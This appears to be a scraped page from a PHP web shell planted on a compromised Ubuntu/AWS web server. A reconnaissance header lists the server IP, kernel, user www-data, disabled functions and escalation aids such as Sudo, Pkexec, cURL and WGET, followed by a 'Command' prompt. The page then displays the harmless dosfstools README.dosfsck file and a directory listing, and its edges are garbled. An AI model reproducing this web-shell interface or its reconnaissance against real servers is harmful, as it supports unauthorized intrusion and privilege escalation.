Na}{

Server IP: 172.31.39.10

Your IP: 172.69.130.193

Web Server: Apache/2.4.52 (Ubuntu)

System: Linux ip-172-31-39-10 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

User: www-data

PHP Version: 7.2.34-54+ubuntu22.04.1+deb.sury.org+1

Disable Function: pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, pcntl_async_signals, [more...]

MySQL: OFF

cURL: ON

WGET: ON

Perl: ON

Python: OFF

Sudo: ON

Pkexec: ON

File Content: `README.dosfsck`

dosfsck, version 1
==================

WARNING: This is ALPHA test software. Use at your own risk.

dosfsck is the Linux equivalent of PC/MS-DOS' CHKDSK. It checks the
consistency of PC/MS-DOS filesystems and optionally tries to repair
them. The tests dosfsck performs are described in the man page.

dosfsck needs header files from dosfs.9 (or later) to compile.

Before using dosfsck to repair a filesystem that contains data of any
value, you should verify that dosfsck is able to correct all reported
errors. (Except fatal errors and those reported as unfixable, of
course.) In order to do this, run it with the -V option, e.g.

   dosfsck -V /dev/sda1		(automatic check)
or dosfsck -V -r /dev/sda1	(interactive check and repair)

dosfsck will perform two passes: in the first pass, inconsistencies are
detected and a list of changes to correct the problems is generated. In
the second pass, those changes are applied whenever dosfsck reads data
from disk. Hence no fixable errors should be reported in the second
pass if the first pass was successful.

Please notify the author if fixable errors are reported in the second
pass.

After verifying that dosfsck appears to be able to perform the desired
operations, either confirm that you want the changes to be performed
(if dosfsck was started with -r) or re-run dosfsck with the -a option
(if it was started without -r).

Please send bug reports, comments, flames, etc. to
almesber@nessie.cs.id.ethz.ch  or  almesber@bernina.ethz.ch

- Werner

FAT32 and LFN support
=====================

I've finally implemented some of the new features of MS-DOS
filesystems: FAT32 and long filenames.

FAT32 is automatically detected and of course the different FAT
structure is handled. (Internally many changes were needed, so 32 bit
variables for all cluster numbers and 64 bit vars for offsets inside
the filesystem.) New checks for FAT32 are most notably on the backup
boot sector and the new info sector. Also the possibility that the
root directory resides in a cluster chain (instead of in a static
area) on FAT32 is handled.

dosfscheck also knows about VFAT long filenames now. It parses those
names and uses them in listings etc. when available. There are also
some checks on the (cruel) structure of how LFNs are stored and some
attempts to fix problems.

- Roman <roman@hodek.net>

BTW, version 2 isn't ALPHA anymore :-)

Name	Size	Permission
ANNOUNCE.mkdosfs	1265 bytes	0644
NEWS.Debian.gz	578 bytes	0644
NEWS.gz	5076 bytes	0644
README	1750 bytes	0644
README.dosfsck	2377 bytes	0644
README.dosfstools-2.x	2912 bytes	0644
README.mkdosfs	2164 bytes	0644
TODO.dosfstools-2.x	551 bytes	0644
changelog.Debian.gz	1653 bytes	0644
copyright	1719 bytes	0644

Command Bosku:

File Content: README.dosfsck

File Content: `README.dosfsck`